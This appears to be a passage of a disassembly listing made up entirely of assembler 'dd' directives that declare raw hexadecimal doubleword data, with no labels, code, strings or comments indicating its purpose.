		dd 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh
		dd 95C05285h, 721E1CDh,	1EB22FC2h, 82BA79h, 710D638h, 8478C337h
		dd 43126CFCh, 7C00CF47h, 0D50D8708h, 3E71EAF4h,	0C18F42ACh
		dd 4E01017h, 455A14EDh,	623094FCh, 2341B6Ah, 63E90205h
		dd 0BB198C6Eh, 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh
		dd 1CA2CFh, 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h
		dd 1F20EA8Dh, 40F608B3h, 420490EFh, 0FF7BFA39h,	1711A100h
		dd 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h
		dd 0B40B794h, 7D04C55h,	6122E02Bh, 856DA39Dh, 0E2B5ADD0h
		dd 700E1000h, 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch
		dd 0E0330981h, 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h
		dd 4B2EDE72h, 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h
		dd 70020728h, 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh
		dd 110BC340h, 993D143h,	27FAEF41h, 83488E82h, 1641A1E2h
		dd 1BCEFC5Ch, 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h
		dd 0AD21F088h, 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h
		dd 9914E5CFh, 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch
		dd 0AF103F21h, 65000838h, 0C440AC56h, 0B5714331h, 44E64101h
		dd 86F42922h, 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h
		dd 97000185h, 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h
		dd 0C9D2682Eh, 0F223A770h, 0C59094h, 15D01747h,	0FC889ECh
		dd 0A2111013h, 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h
		dd 9AD8C400h, 280B8115h, 0C3E00055h, 65405B59h,	8C1FA5A1h
		dd 0C40D544h, 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh
		dd 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h
		dd 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h
		dd 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h
		dd 34B2B380h, 8D2A107h,	96044E00h, 9017A832h, 1F82EE10h
		dd 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch
		dd 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh
		dd 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h
		dd 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h
		dd 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh
		dd 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh
		dd 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h
		dd 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h
		dd 4C46DA9Dh, 3F97F51h,	85D53A97h, 0CB8238Ch, 0C800EACAh
		dd 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh,	0D7D07881h
		dd 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh
		dd 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h, 17BD71Fh
		dd 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh,	76173E09h
		dd 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h
		dd 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h
		dd 8EDF1B11h, 230B280h,	71CB5CEh, 8D1A0640h, 59A08F88h
		dd 46CD1834h, 720C81Dh,	8D001913h, 1709403Ch, 0F2D73B43h
		dd 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h
		dd 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh
		dd 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h
		dd 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h
		dd 0A54AFFh, 6DB69773h,	481A0D40h, 0B807D800h, 0F2A29DFEh
		dd 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h
		dd 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h
		dd 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh,	0EA21E30h
		dd 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh
		dd 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h
		dd 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h
		dd 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h
		dd 7C8B020h, 6214230Ch,	1CE5E0BFh, 1EE24EA7h, 0A5B4E904h
		dd 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh
		dd 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh, 953B9D01h
		dd 0F234675Ch, 4E0360h,	0CEA71FDBh, 85719C1Dh, 0BB8DE805h
		dd 98063CCAh, 3228025h,	776E2713h, 0A6C8E802h, 3300E90Ch
		dd 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh
		dd 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh
		dd 8233FDCh, 0FBC8C42h,	78C21259h, 1C941F60h, 0A472A7FFh
		dd 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh
		dd 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h
		dd 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h
		dd 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h,	0B0FF28B5h
		dd 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh
		dd 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h,	0B03DEB97h
		dd 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h
		dd 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h
		dd 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh,	24A0B609h
		dd 298C47E9h, 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h
		dd 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh
		dd 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h
		dd 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h
		dd 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h,	0BDE28D00h
		dd 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h
		dd 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh
		dd 0E46FA953h, 22CFEEh,	3EE18417h, 323F293Ch, 0CB6EAE00h
		dd 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh,	1201E883h
		dd 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h
		dd 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h, 5D1EE933h
		dd 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h,	38002DE2h
		dd 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh, 0F2A4C010h
		dd 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh, 0A5E32858h
		dd 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch,	0F8E37D40h
		dd 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh
		dd 6C1504F2h, 142F43Fh,	0E95018C8h, 13208DAEh, 62F023h
		dd 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h,	0C0A24BFFh
		dd 8215E496h, 244C8900h, 0BCC2F408h, 70740127h,	4B5C7C3Dh
		dd 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h,	0C6083145h
		dd 4E8C4D6h, 3F50E4F8h,	91263382h, 270BA3EEh, 48C800C3h
		dd 7E525F1h, 4C592D2Eh,	1A24E033h, 0D20031B0h, 585067D1h
		dd 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h
		dd 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh,	4E7C2F7Ch
		dd 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h
		dd 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h
		dd 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h
		dd 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h
		dd 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h,	0C4074B0h
		dd 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h,	0D846F2B8h
		dd 0EE1820h, 5C4D27D1h,	251C48B5h, 1162A10Eh, 2C57C0B3h
		dd 3B5E37h, 0E85C136Dh,	4810358Ah, 0C3FC2B8h, 5BD183BAh
		dd 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h
		dd 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h, 6226C3E9h
		dd 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h,	328230Eh
		dd 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h,	18F1EA46h
		dd 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h
		dd 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h
		dd 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh
		dd 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh
		dd 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h,	9809A25Bh
		dd 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h
		dd 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h
		dd 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h
		dd 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh
		dd 2B25439Ch, 9C0C7CDh,	6D1FED19h, 0C2006A3Ah, 4034B81Eh
		dd 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh
		dd 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh
		dd 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh,	0B9071C09h
		dd 5AD09F7Bh, 347480BBh
		dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h
		dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h,	9FEEF2A6h
		dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h,	0AA3E3EEFh
		dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh
		dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h
		dd 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h,	4008006h
		dd 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h
		dd 0BB31C413h, 881438h,	0A58552C0h, 7C428CC5h, 7C6BF048h
		dd 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h
		dd 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h
		dd 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h,	0E3C0040Ch
		dd 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h,	1336F100h
		dd 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h
		dd 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h, 800006B8h
		dd 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h,	0D07E3580h
		dd 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h, 10B26E7Fh
		dd 38B7F0A9h, 0E4A8C200h, 64891555h, 2B7114h, 2051D7F6h
		dd 0D35A2C08h, 6FA0CE2Eh, 41A9F307h, 0ED155E0h,	0ACD93B4Ch
		dd 8B0F4B3Eh, 80A15061h, 6592D243h, 0BE8DF32h, 3CFA082Bh
		dd 0C5E52D0Fh, 5E34A787h, 21062090h, 7EF34CCCh,	48030800h
		dd 0F8F2AED4h, 94D79F00h, 2B12D63Fh, 88A91DD2h,	0F44240B8h
		dd 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h,	0E6550012h
		dd 23AB5FACh, 0B00C42Ch, 2EF49D04h, 0A43C30h, 0CE034C7Fh
		dd 0C941062h, 9F508800h, 12D71114h, 0F2570089h,	54521F1Dh
		dd 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h, 0F802108h
		dd 47E4A542h, 97487E01h, 0F08C638Eh, 70282E81h,	0F4EA0658h
		dd 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h,	0B31FC89h
		dd 3D0083C9h, 646D43Ch,	177D04h, 868A164Eh, 7536EDE0h
		dd 3890F00h, 41AEC383h,	67F93D8Fh, 0F81FEB85h, 0A593802Fh
		dd 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h, 0E0D933F4h
		dd 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h, 27001653h
		dd 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h,	0D726812h
		dd 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h, 20D85B14h
		dd 76002734h, 402D4258h, 0C1F041h, 3905E624h, 5312EF97h
		dd 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h, 0F025BFC6h
		dd 24000901h, 28007F2h,	1EE231h, 0D6D3E30Bh, 32A221E6h
		dd 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h, 6FDE1A9Fh
		dd 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh
		dd 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h, 6011F121h
		dd 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h, 1E0FE368h
		dd 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh, 8E501847h
		dd 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch,	6FCCFB87h
		dd 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh,	0B21A3CF9h
		dd 64001F40h, 48C86B44h, 244C917Fh, 9223BFh, 55AD5442h
		dd 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h, 6F32255Ch
		dd 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh,	363F7FC2h
		dd 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h, 0B70F70h
		dd 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h, 726A21ECh
		dd 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh
		dd 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch, 0A40310D5h
		dd 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h, 0AB05487Bh
		dd 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h,	6FE60B27h
		dd 331F0BEh, 1CDD2E72h,	0F1A887B0h, 0EF00AE5Dh,	60B5412Ah
		dd 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh
		dd 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh, 0DCB771ABh
		dd 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h, 1660C5E2h
		dd 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h,	72DF70C4h
		dd 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h, 0D003CDD6h
		dd 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh, 0B11EEC39h
		dd 0C58F3BCh, 7780BCAh,	0F4870063h, 2C4ABAh, 886F883h
		dd 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h, 0C3A33174h
		dd 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h, 10C46B1Dh
		dd 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h, 828F584h
		dd 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh,	35441FA2h
		dd 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh, 5B5458h
		dd 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh, 8B1C09CCh
		dd 0DDD402h, 803FB9B4h,	88FC31h, 86E0B54h, 0EA7585C1h
		dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
		dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
		dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h,	0F1FF1B0Eh
		dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
		dd 302F1A8Ah, 16DD4C3h,	332F6225h, 0AF1870FBh, 5F5CC600h
		dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
		dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
		dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh,	0AC30E40h
		dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
		dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
		dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
		dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
		dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
		dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
		dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
		dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
		dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah,	1F0FAEEEh
		dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
		dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h,	0E723E0E3h
		dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
		dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
		dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h,	6E1E806Fh
		dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
		dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
		dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
		dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h,	80B340B2h
		dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
		dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
		dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h,	819F07C1h
		dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh,	41581F80h
		dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
		dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
		dd 0B1814085h, 8747C087h, 864146CEh, 42678247h,	831C4380h
		dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
		dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h,	0C21E927Ch
		dd 204099B2h, 904210Ah
		dd 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h,	5ADC3Eh
		dd 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h,	3EE42h
		dd 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h
		dd 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h
		dd 0F4154CF0h, 30F64Bh,	0A101B247h, 0E8217061h,	6E1BBB1Eh
		dd 0D63A9680h, 63CF2Ch,	56FF3083h, 0AD0F4B04h, 6636E900h
		dd 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h
		dd 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h
		dd 9A8C0060h, 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h
		dd 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h,	0EE10595Dh
		dd 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh,	0C86FF488h
		dd 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h
		dd 16C60FFh, 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h
		dd 8DB38615h, 6FE82730h, 0EA42588Fh, 65315700h,	0DB85D873h
		dd 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h
		dd 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h
		dd 3D01C978h, 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h
		dd 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh,	0D3CCA396h
		dd 29A9B388h, 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h
		dd 88B83B75h, 50EAC702h, 0E37E5FFEh, 42588802h,	0BD41006Ch
		dd 2A3D7145h, 200DEE2h,	23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h
		dd 40C3D500h, 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h
		dd 0D339D05Bh, 7F9475C1h, 4D2E0390h, 5C258908h,	71F246F0h
		dd 0A5F34B00h, 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h
		dd 65C9C455h, 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h
		dd 5071025h, 6F4AC15Ch,	3A144143h, 0F01EBACAh, 18A886F7h
		dd 0B33C4E82h, 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h
		dd 950F24EEh, 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h
		dd 30B3718Fh, 10878021h, 52801E34h, 938013Ah, 97791257h
		dd 0F3C10E0h, 9472B84Ah, 0DE041DFDh, 8A6A0005h,	0FA9553F2h
		dd 448C64DEh, 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h
		dd 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h
		dd 141EEB67h, 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h
		dd 86164839h, 524A1CEh,	6F315314h, 20C897Ah, 48202523h
		dd 0C3001CBCh, 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h
		dd 2301206h, 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h
		dd 84000469h, 0B22A2041h, 296EECh, 1263F04Ah, 0AAB0740Bh
		dd 0B9E1C91Fh, 6B002812h, 38201042h, 0D6591F95h, 0A1880336h
		dd 13B01757h, 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h
		dd 0AD3F90BBh, 2C2864FEh, 84A403A9h, 9D6A1F1Dh,	0BD70D95Ah
		dd 0C2D9093h, 18598832h, 90067D24h, 713F8CE3h, 3044802Bh
		dd 6625AB12h, 0C83CFE68h, 8905B4Bh, 0A5185020h,	4576D4C4h
		dd 0BCB0424h, 0C1F15ECAh, 708806A1h, 3A3D56ABh,	313F46h
		dd 165BF362h, 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h,	110F5D42h
		dd 1C041433h, 0F2D4D324h, 5F9C808Dh, 63E61559h,	78189C92h
		dd 0D230CCAh, 8921BDAFh, 0E2F89502h, 12E6C304h,	0B8F9BCF7h
		dd 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h
		dd 0CAA8204Ah, 7F2E148h, 57BEA22Ah, 54C221F9h, 0F1FC4AB3h
		dd 89B0C308h, 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h
		dd 84E07A9h, 500C56E0h,	0F4B8745Dh, 430D6800h, 0D0388817h
		dd 7685EA14h, 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh
		dd 1C1F700h, 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h
		dd 3CE9E827h, 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh
		dd 80899F4Ah, 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch
		dd 0EE881E45h, 44470399h, 9CF0E169h, 483AA63Bh,	0A9218057h
		dd 0B0683CE4h, 647585h,	0B80A7320h, 55357469h, 0C305E901h
		dd 0B448F87Eh, 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh
		dd 123BB222h, 95D300BCh, 5083440Dh, 0FE03380Fh,	17045257h
		dd 8908A314h, 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h
		dd 9E059CA9h, 0FE081380h, 749CB254h, 61800E1h, 2F23B459h
		dd 0FA03A25Ch, 6445A88Bh, 71C59088h, 804D01C3h,	8F26A69h
		dd 172DE4D3h, 5D277005h, 0F1ACBCB4h, 2B157300h,	0CBF956FBh
		dd 0A4E37A00h, 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h
		dd 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh, 19582163h,	60E4D7D1h
		dd 17039156h, 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h
		dd 1BEC80E8h, 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh
		dd 6132B9C6h, 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h
		dd 50C18624h, 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h
		dd 9DBFFB83h, 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h
		dd 14030F3Bh, 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh
		dd 0FEE340A6h, 89F400E3h, 2EBF804h, 0C800C031h,	0BF841090h
		dd 0C970F1h, 3C7FB12Bh,	1A961130h, 41D24124h, 3DA5C100h
		dd 7F349455h, 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h
		dd 0C0F9D101h, 7C5D81C7h, 4CD701E2h, 8DF42F65h,	0DFCBFCFEh
		dd 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh
		dd 91005ADCh, 580BC98Ah, 7402320h, 151AD042h, 3DEB6013h
		dd 1B04E57Ch, 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h
		dd 7CD28580h, 0B58AFA12h, 750B7800h, 881E1C01h,	0E800318h
		dd 4A02C083h, 91EF51E0h, 60BD3A03h, 0D04BFCC8h,	3D49B13h
		dd 6A2AC22h, 8DB1FDB4h,	0DA8BE4C0h, 0F41246EEh,	0DF013926h
		dd 30A58559h, 0C428C1EFh, 98C017D8h, 8E02007Ch,	6854A118h
		dd 0AC9083F6h, 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h
		dd 0A2900D66h, 4207D55Ch, 1A6CFD9Dh, 68D103F0h,	0C0322E24h
		dd 0C7C500EFh, 1F1EB5FFh, 1764DB00h, 5A8C5452h,	0E5A400A8h
		dd 34FB1056h, 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h
		dd 91590FEh, 8B005184h,	1CEEAA41h, 803108h, 9FA6C721h
		dd 7C86C2FFh, 9715C800h, 0B80D55F9h, 2FB90070h,	3E64B5E2h
		dd 20048D0h, 27DC14B2h,	44B820h, 50143D4h, 0B566281Bh
		dd 830F3D05h, 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h
		dd 1F2F010Ch, 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h
